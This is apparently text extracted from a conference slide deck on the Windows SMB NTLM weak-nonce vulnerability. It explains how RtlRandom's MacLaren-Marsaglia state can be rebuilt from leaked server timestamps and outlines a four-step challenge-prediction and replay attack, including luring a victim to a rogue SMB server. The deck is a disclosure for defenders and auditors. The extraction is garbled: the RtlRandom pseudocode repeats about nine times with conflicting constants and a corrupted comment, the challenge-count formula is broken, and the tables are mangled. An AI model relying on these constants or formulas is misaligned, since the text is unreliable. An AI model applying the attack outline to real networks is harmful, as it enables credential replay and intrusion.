Knowing \(a, c, m\) and \(X_n\) it is straightforward to calculate \(X_{n+1}\)

Given a few \(X_n\) it is possible to recover \(a, c\) and \(m\)

\textbf{Given a few} \(X_n\) \textbf{it is possible to reconstruct the sequence}
A MacLaren and Marsaglia system (M-M) is a PRNG

Combines the output of two LCG and a fixed size vector

Algorithm

i. generate \( X \) using LCG1
ii. generate \( Y \) using LCG2
iii. construct index \( j \) from \( Y \)
iv. fetch \( Z \) from \( V[j] \)
v. store \( X \) into \( V[j] \)
vi. return \( Z \)
RtlRandom overview: MacLaren-Marsaglia Generators

M-M vector V

- Vector V, size n, initialized
- X = LCG1()
- Y = LCG2()
- j = Y & (n - 1)
- Z = V[j]
- V[j] = X
- return Z
**RtlRandom() pseudocode**

```cpp
DWORD _RtlpRandomConstantVector[128]

DWORD ntoskrnl!RtlRandom(DWORD *Seed)
{
    DWORD a = 0x7FFFFFFED; // LCG{1,2} multiplier
    DWORD c = 0x7FFFFFC3; // LCG{1,2} increment
    DWORD m = 0x7FFFFFFF; // LCG{1,2} modulus

    DWORD X; // LCG1 output
    DWORD Y; // LCG2 output
    DWORD Z; // RtlRandom output

    X = (a * (*Seed) + c) mod m // M-M LCG1
    Y = (a * X + c) mod m // M-M LCG2

    *Seed = Y // returned as context
    j = Y & 0x7F // index derived from LCG2

    Z = _RtlpRandomConstantVector[j] // FETCH
    _RtlpRandomConstantVector[j] = X // STORE

    return Z
}
```
RtlRandom() pseudocode

DWORD _RtlpRandomConstantVector[128]

DWORD ntoskrnl!RtlRandom(DWORD *Seed)
{
    DWORD a = 0x7FFFFFED;                 // LCG{1,2} multiplier
    DWORD c = 0x7FFFFFC3;                 // LCG{1,2} increment
    DWORD m = 0x7FFFFFFF;                 // LCG{1,2} modulus

    DWORD X;                                       // LCG1 output
    DWORD Y;                                        // LCG2 output
    DWORD Z;                                       // RtlRandom output

    X = ( a * (*Seed) + c ) mod m               // M-M LCG1
    Y = ( a * X + c ) mod m                     // M-M LCG2

    *Seed = Y                                   // returned as context
    j = Y & 0x7F                                // index derived from LCG2

    Z = _RtlpRandomConstantVector[j]             // FETCH
    _RtlpRandomConstantVector[j] = X             // STORE

    return Z
}
RtlRandom() pseudocode

DWORD _RtlpRandomConstantVector[128]

DWORD ntoskrnl!RtlRandom(DWORD *Seed)
{
    DWORD a = 0x7FFFFFFD; // LCG{1,2} multiplier
    DWORD c = 0x7FFFFFFC3; // LCG{1,2} increment
    DWORD m = 0x7FFFFFFF; // LCG{1,2} modulus

    DWORD X; // LCG1 output
    DWORD Y; // LCG2 output
    DWORD Z; // RtlRandom output

    \[X = (a \times (*\text{Seed}) + c) \mod m\] // M-M LCG1
    \[Y = (a \times X + c) \mod m\] // M-M LCG2

    *Seed = Y // returned as context
    j = Y & 0x7F // index derived from LCG2

    Z = _RtlpRandomConstantVector[j] // FETCH
    _RtlpRandomConstantVector[j] = X // STORE

    return Z
}
RtlRandom() pseudocode

DWORD _RtlpRandomConstantVector[128]

DWORD ntoskrnl!RtlRandom(DWORD *Seed)
{
    DWORD a = 0x7FFFFFED;               // LCG{1,2} multiplier
    DWORD c = 0x7FFFFFC3;               // LCG{1,2} increment
    DWORD m = 0x7FFFFFFF;               // LCG{1,2} modulus

    DWORD X;                                       // LCG1 output
    DWORD Y;                                        // LCG2 output
    DWORD Z;                                       // RtlRandom output

    X = ( a * (*Seed) + c ) mod m             // M-M LCG1
    Y = ( a * X + c ) mod m                      // M-M LCG2

    *Seed = Y                                           // returned as context
    j = Y & 0x7F                                     // index derived from LCG2

    Z = _RtlpRandomConstantVector[j]      // FETCH
    _RtlpRandomConstantVector[j] = X      // STORE

    return Z
}
RtlRandom() pseudocode

DWORD _RtlpRandomConstantVector[128]

DWORD ntoskrnl!RtlRandom(DWORD *Seed)
{
    DWORD a = 0x7FFFFFED; // LCG{1,2} multiplier
    DWORD c = 0x7FFFFFC3; // LCG{1,2} increment
    DWORD m = 0x7FFFFFFF; // LCG{1,2} modulus

    DWORD X; // LCG1 output
    DWORD Y; // LCG2 output
    DWORD Z; // RtlRandom output

    X = (a * (*Seed) + c) mod m // M-M LCG1
    Y = (a * X + c) mod m // M-M LCG2

    *Seed = Y // returned as context
    j = Y & 0x7F // index derived from LCG2

    Z = _RtlpRandomConstantVector[j] // FETCH
    _RtlpRandomConstantVector[j] = X // STORE

    return Z
}
RtlRandom() pseudocode

DWORD _RtlpRandomConstantVector[128]

DWORD ntoskrnl!RtlRandom(DWORD *Seed)
{
    DWORD a = 0x7FFFFFED; // LCG{1,2} multiplier
    DWORD c = 0x7FFFFFC3; // LCG{1,2} increment
    DWORD m = 0x7FFFFFFF; // LCG{1,2} modulus

    DWORD X; // LCG1 output
    DWORD Y; // LCG2 output
    DWORD Z; // RtlRandom output

    X = (a * (*Seed) + c) mod m // M-M LCG1
    Y = (a * X + c) mod m // M-M LCG2

    *Seed = Y // returned as context
    j = Y & 0x7F // index derived from LCG2

    Z = _RtlpRandomConstantVector[j] // FETCH
    _RtlpRandomConstantVector[j] = X // STORE

    return Z
}
RtlRandom() pseudocode

DWORD _RtlpRandomConstantVector[128]

DWORD ntoskrnl!RtlRandom(DWORD *Seed)
{
    DWORD a = 0x7FFFFFED;  // LCG{1,2} multiplier
    DWORD c = 0x7FFFFFC3;  // LCG{1,2} increment
    DWORD m = 0x7FFFFFFF;  // LCG{1,2} modulus

    DWORD X;           // LCG1 output
    DWORD Y;           // LCG2 output
    DWORD Z;           // RtlRandom output

    X = (a * (*Seed) + c) % m  // M-M LCG1
    Y = (a * X + c) % m        // M-M LCG2

    *Seed = Y                // returned as context
    j = Y & 0x7F             // index derived from LCG2

    Z = _RtlpRandomConstantVector[j]  // FETCH
    _RtlpRandomConstantVector[j] = X  // STORE

    return Z
}
RtlRandom() pseudocode

DWORD _RtlpRandomConstantVector[128]

DWORD ntoskrnl!RtlRandom(DWORD *Seed)
{
    DWORD a = 0x7FFFFFED; // LCG{1,2} multiplier
    DWORD c = 0x7FFFFFC3; // LCG{1,2} increment
    DWORD m = 0x7FFFFFFF; // LCG{1,2} modulus

    DWORD X; // LCG1 output
    DWORD Y; // LCG2 output
    DWORD Z; // RtlRandom output

    X = (a * (*Seed) + c) mod m // M-M LCG1
    Y = (a * X + c) mod m // M-M LCG2

    *Seed = Y // returned as context
    j = Y & 0x7F // index derived created LCG2

    Z = _RtlpRandomConstantVector[j] // FETCH
    _RtlpRandomConstantVector[j] = X // STORE

    return Z
}
RtlRandom() pseudocode

DWORD _RtlpRandomConstantVector[128]

DWORD ntoskrnl!RtlRandom(DWORD *Seed)
{
    DWORD a = 0x7FFFFFED; // LCG\(1,2\) multiplier
    DWORD c = 0x7FFFFFC3; // LCG\(1,2\) increment
    DWORD m = 0x7FFFFFFF; // LCG\(1,2\) modulus

    DWORD X; // LCG1 output
    DWORD Y; // LCG2 output
    DWORD Z; // RtlRandom output

    X = ( a * (*Seed) + c ) mod m // M-M LCG1
    Y = ( a * X + c ) mod m // M-M LCG2

    *Seed = Y // returned as context
    j = Y & 0x7F // index derived from LCG2

    Z = _RtlpRandomConstantVector[j] // FETCH
    _RtlpRandomConstantVector[j] = X // STORE

    return Z;
}
RtlIRandom() summary

- It is an M-M system
- Two operations can be defined
  - **FETCH**: dependent on values of the **table** AND the **seed/context**
  - **STORE**, dependent on values of the **seed/context** BUT independent of the values of the **table**
Knowing the PRNG internal state depends on

1. `_EncryptionKeyCount` value
2. Calls to `RtlRandom()`
3. Return value of `KeQuerySystemTime()`

... we performed a macro analysis of the SMB protocol and the related components...
Challenge generation macro analysis

_EncryptionKeyCount value

- Always initialized to zero at system boot time
- Only updated by GetEncryptionKey, which is not usually called

_EncryptionKeyCount is predictable depending on the environment ( _EncryptionKeyCount = 0 )
Challenge generation macro analysis

Calls to RtlRandom()

- They are performed every time a process is spawned
  - not an issue
  - large number of process spawns during attack not likely
  - try another predicted challenge
  - launch the attack again

The consequences of RtlRandom() calls can be circumvented
KeQuerySystemTime() return value
- It is incremented by 100-nanoseconds
- Could be the same among consecutive packets
- Only the middle 16-bits of CurrentTime.LowPart are used
- The current system time of the Server is leaked during SMB NTLM negotiation

KeQuerySystemTime() return value is known by the attacker
Client

SMB_NEGOTIATE_PROTOCOL_REQUEST
Dialect: NT LM 0.12, Flags2: 0xc001

Server

dsrv.sys!SrvSmbNegotiate

KeQuerySystemTime()\n
EncryptionKey\n
GetEncryptionKey()\n
KeQuerySystemTime()\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n

Multiple calls to KeQuerySystemTime()
The attack: Loading dices

i. Set RtlRandom internal state to a known state
ii. Calculate possible challenges
iii. Collect possible responses
iv. Connect and use a valid response
Challenge prediction attack
[1/4]

Step 1 - Set RtlRandom internal state to a known state

a. Send a packet that triggers RtlRandom
b. Receive response and save received timestamp
c. Simulate the M-M store behaviour
d. Loop to a. until the simulated M-M vector is complete
Challenge prediction attack

[1/4]

Step 1 - Set RtlRandom internal state to a known state

a. Send a packet that triggers RtlRandom
b. Receive response and save received timestamp
c. Simulate the M-M store behaviour
d. Loop to a until the simulated M-M vector is complete

---

<table>
<thead>
<tr>
<th>Attacker simulated M-M vector</th>
<th>Victim RtlRandom M-M vector</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>

Attacker sends a packet to trigger RtlRandom, then the victim requests authentication.
Challenge prediction attack

[1/4]

**Step I - Set RtlRandom internal state to a known state**

a. Send a packet that triggers RtlRandom
b. **Receive response and save received timestamp**
c. Simulate the M-M store behaviour
d. Loop to a. until the simulated M-M vector is complete

**Attacker**

Requests authentication

Returns a challenge + timestamp

**Victim**

<table>
<thead>
<tr>
<th>Attacker simulated M-M vector</th>
<th>Victim RtlRandom M-M vector</th>
</tr>
</thead>
<tbody>
<tr>
<td>0    0    0</td>
<td>?   v1   ?</td>
</tr>
<tr>
<td>0    0    0</td>
<td>?   ?    ?</td>
</tr>
<tr>
<td>0    0    0</td>
<td>v6  ?    v8</td>
</tr>
</tbody>
</table>
Challenge prediction attack

Step 1 - Set RtlRandom internal state to a known state
a. Send a packet that triggers RtlRandom
b. Receive response and save received timestamp
c. Simulate the M-M store behaviour
d. Loop to a until the simulated M-M vector is complete
Challenge prediction attack

[1/4]

Step 1 - Set RtlRandom internal state to a known state

a. Send a packet that triggers RtlRandom
b. Receive response and save received timestamp
c. Simulate the M-M store behaviour
d. Loop to a until the simulated M-M vector is complete
**Challenge prediction attack [1/4]**

**Step 1 - Set RtlRandom internal state to a known state**

- a. Send a packet that triggers RtlRandom
- b. Receive response and save received timestamp
- c. Simulate the M-M store behaviour
- d. Loop to a. until the simulated M-M vector is complete

---

**Attacker simulated M-M vector**

<table>
<thead>
<tr>
<th></th>
<th>v1</th>
<th>0</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>v6</td>
<td>0</td>
<td>v8</td>
</tr>
</tbody>
</table>

**Victim RtlRandom M-M vector**

<table>
<thead>
<tr>
<th></th>
<th>v1</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>?</td>
<td>?</td>
<td>?</td>
</tr>
<tr>
<td>v6</td>
<td>?</td>
<td>v8</td>
</tr>
</tbody>
</table>
Challenge prediction attack

[1/4]

Step 1 - Set RtlRandom internal state to a known state
a. Send a packet that triggers RtlRandom
b. Receive response and save received timestamp
c. Simulate the M-M store behaviour
d. Loop to a until the simulated M-M vector is complete

Attacker simulated M-M vector

<table>
<thead>
<tr>
<th>0</th>
<th>v1</th>
<th>0</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>v6</td>
<td>0</td>
<td>v8</td>
</tr>
</tbody>
</table>

Victim RtlRandom M-M vector

<table>
<thead>
<tr>
<th>?</th>
<th>v1</th>
<th>v2</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3</td>
<td>?</td>
<td>v5</td>
</tr>
<tr>
<td>v6</td>
<td>?</td>
<td>v8</td>
</tr>
</tbody>
</table>
Challenge prediction attack [1/4]

Step 1 - Set RtlRandom internal state to a known state

a. Send a packet that triggers RtlRandom
b. Receive response and save received timestamp
c. Simulate the M-M store behaviour
d. Loop to a. until the simulated M-M vector is complete
Challenge prediction attack

[1/4]

Step 1 - Set RtlRandom internal state to a known state

a. Send a packet that triggers RtlRandom
b. Receive response and save received timestamp
c. Simulate the M-M store behaviour
d. Loop to a. until the simulated M-M vector is complete

Requests authentication

Attacker simulated M-M vector

<table>
<thead>
<tr>
<th>0</th>
<th>v1</th>
<th>v2</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3</td>
<td>0</td>
<td>v5</td>
</tr>
<tr>
<td>v6</td>
<td>0</td>
<td>v8</td>
</tr>
</tbody>
</table>

Victim RtlRandom M-M vector

<table>
<thead>
<tr>
<th>v3</th>
<th>?</th>
<th>v5</th>
</tr>
</thead>
<tbody>
<tr>
<td>v6</td>
<td>?</td>
<td>v8</td>
</tr>
</tbody>
</table>
Challenge prediction attack

Step 1 - Set RtlRandom internal state to a known state
a. Send a packet that triggers RtlRandom
b. Receive response and save received timestamp
c. Simulate the M-M store behaviour
d. Loop to a. until the simulated M-M vector is complete

Attacker simulated M-M vector

<table>
<thead>
<tr>
<th></th>
<th>v0</th>
<th>v1</th>
<th>v2</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3</td>
<td>0</td>
<td>v5</td>
<td></td>
</tr>
<tr>
<td>v6</td>
<td>0</td>
<td>v8</td>
<td></td>
</tr>
</tbody>
</table>

Victim RtlRandom M-M vector

<table>
<thead>
<tr>
<th></th>
<th>v0</th>
<th>v1</th>
<th>v2</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3</td>
<td>v4</td>
<td>v5</td>
<td></td>
</tr>
<tr>
<td>v6</td>
<td>v7</td>
<td>v8</td>
<td></td>
</tr>
</tbody>
</table>

Requests authentication

Returns a challenge + timestamp
Challenge prediction attack

[1/4]

Step 1 - Set RtlRandom internal state to a known state
a. Send a packet that triggers RtlRandom
b. Receive response and save received timestamp
c. Simulate the M-M store behaviour
d. Loop to a. until the simulated M-M vector is complete

Requests authentication

Attacker simulated M-M vector

<table>
<thead>
<tr>
<th>v0</th>
<th>v1</th>
<th>v2</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3</td>
<td>v4</td>
<td>v5</td>
</tr>
<tr>
<td>v6</td>
<td>v7</td>
<td>v8</td>
</tr>
</tbody>
</table>

Victim RtlRandom M-M vector

<table>
<thead>
<tr>
<th>v0</th>
<th>v1</th>
<th>v2</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3</td>
<td>v4</td>
<td>v5</td>
</tr>
<tr>
<td>v6</td>
<td>v7</td>
<td>v8</td>
</tr>
</tbody>
</table>
Step 2 - Calculate possible challenges

Given an internal RtlRandom() state it is necessary to calculate every possible combination that can be generated by it.

\[
\text{unique}\left\{ \left( 2 \times \right) \right\}^2
\]

Attacker simulated M-M vector
Challenge prediction attack

Step 3 - Collect possible responses

Force the victim to connect to a specially crafted SMB server to collect all the generated responses encrypted/hashed with his credentials.

- **Attacker**
  - a. Sends email
  - b. Connects to attacker's custom SMB server
  - c. Sends challenges pre-calculated in step 1
- **Victim**
  - d. Sends responses
Challenge prediction attack

Step 4 - Connect and use a valid response

Performing only one authentication attempt, the attacker gains access to the victim using a valid response for the issued challenge.

- **a. Requests authentication**
- **b. Returns one of the predicted challenges in step 2**
- **c. Responds with a valid response collected in step 3**
- **d. Authenticates Ok**
Clearing up Misconceptions

- This is not related to SMBRelay
  - This is a new vulnerability, different code, different issue, different patch
  - MS08-068 does not address this vulnerability nor prevents attacks against the same machine

- Passive replay attacks are/were possible
  - Outgoing NTLM auth connections don’t need to use NTLMSSP (/extended security)
  - Windows NT4 vs current systems
  - Legacy Systems, Samba, Third-party SMB Implementations
Vulnerability Scope, Severity and Impact

- MS categorized the vuln as ‘Important’ and as an ‘Elevation of privilege’

- We discussed this with MS and accept their opinion..

- But we respectfully disagree... :) 
  - ‘Critical’ vulnerability that allows remote code execution
Vulnerability Scope, Severity and Impact

- Affects all versions of Windows!
  - from NT4 to Windows 7, Server 2008, etc.

- It’s a 14-year old vulnerability in the Windows authentication mechanism!
  - might be a 17-year old vuln if NT3.51 is also affected (not confirmed, anyone has a copy we can borrow? :))

Think about it... even passive replay attacks have been possible against Windows NTLM authentication sessions!
Vulnerability Scope, Severity and Impact

- There’s no fix for Windows NT4 Servers (not supported anymore by MS)
  - Still around? (e.g.: big retailers)
  - Passive replay attacks

- Appliances
  - Old Windows versions and/or not patched.

- Yes, these might also be vulnerable to other vulns.. but...
  - Can deploy generic anti-exploitation protections and workarounds
  - Passive replay attacks may look like normal traffic (IDS detection?)
  - Active attacks may not be that easy to detect if challenges/responses are obtained from one machine and used on another
Understanding the Windows SMB NTLM Authentication Weak Nonce Vulnerability

Vulnerability Scope, Severity and Impact

‣ Elevation of privilege?
  - Leads to remote code execution!
  - Is a buffer overflow allowing remote code execution an elevation of privilege vulnerability?..
Conclusions

- Three different exploitation methods
  - Passive replay
  - Active replay
  - Prediction of challenges

- Vulnerability leads to remote code execution

- Bits from the seed are leaked by the Server
  - the internal state of the PRNG can be calculated
  - future challenges can be predicted
Conclusions

- PRNG != CSPRNG

- Cryptographic code should be periodically reviewed
  - Next time you audit code and see a call to `*random*()`
    - Don’t jump to the next line! :) analyze!
  - Next time you audit code and see a ‘seed’
    - Carefully analyze how it is created
  - Look for possible side-channel attacks
Thank you!

- Emails: Hernan Ochoa: hernan@ampliasecurity.com
- Agustín Azubel: aazubel@ampliasecurity.com